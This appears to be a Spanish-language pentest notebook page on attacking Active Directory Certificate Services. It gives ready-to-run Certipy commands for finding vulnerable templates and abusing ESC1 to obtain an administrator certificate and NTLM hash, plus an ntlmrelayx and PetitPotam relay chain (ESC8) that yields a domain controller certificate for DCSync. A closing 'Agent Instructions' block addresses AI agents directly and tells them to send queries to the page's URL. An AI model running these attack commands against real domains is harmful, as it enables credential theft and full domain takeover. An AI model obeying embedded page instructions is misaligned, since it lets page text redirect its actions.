# AD CS (Certificates)

La vulnerabilidad más crítica en entornos modernos. Si controlas los certificados, controlas la identidad.

## 🛠️ Metodología de Ataque (Certified Pre-Owned)

### 🔍 1. Enumeración (Certipy)

Busca plantillas de certificados vulnerables (ESC1, ESC8, etc.).

```bash
# Enumerar y guardar en formato BloodHound
certipy find -u user@domain.local -p pass -dc-ip <IP> -vulnerable -stdout
certipy find -u user@domain.local -p pass -dc-ip <IP> -old-bloodhound
```

### 🔓 2. ESC1 (Misconfigured Template)

Si una plantilla permite: l`Client Authentication` + `Enrollee Supplies Subject` + `Domain Users` permission.

1. **Solicitar Certificado como Admin**:

   ```bash
   certipy req -u user@domain.local -p pass -ca <CA_NAME> -template <VULN_TEMPLATE> -upn administrator@domain.local -target <DC_IP>
   ```
2. **Autenticarse con el Certificado**:

   ```bash
   certipy auth -pfx administrator.pfx -domain domain.local
   ```
3. **Resultado**: Obtienes el NTLM Hash del Administrador.

### 🦛 3. PetitPotam (NTLM Relay to AD CS -> ESC8)

Si el servidor CA tiene Web Enrollment (HTTP) activado y no requiere firma SMB.

1. **Escuchar**: `impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController`
2. **Forzar Autenticación (PetitPotam)**: `python3 PetitPotam.py <Attacker_IP> <DC_IP>`
3. **Resultado**: El DC se autentica contra ti, tú haces relay al CA y obtienes un certificado válido para el DC. ¡DCSync inmediato!

## 🧰 Herramientas

* **Certipy**: La navaja suiza.
* **BloodyAD**: Gestión de AD y certificados.
* **Certify.exe**: Versión C# para usar con Cobalt Strike/Covenant.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/10.-active-directory/ad-cs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
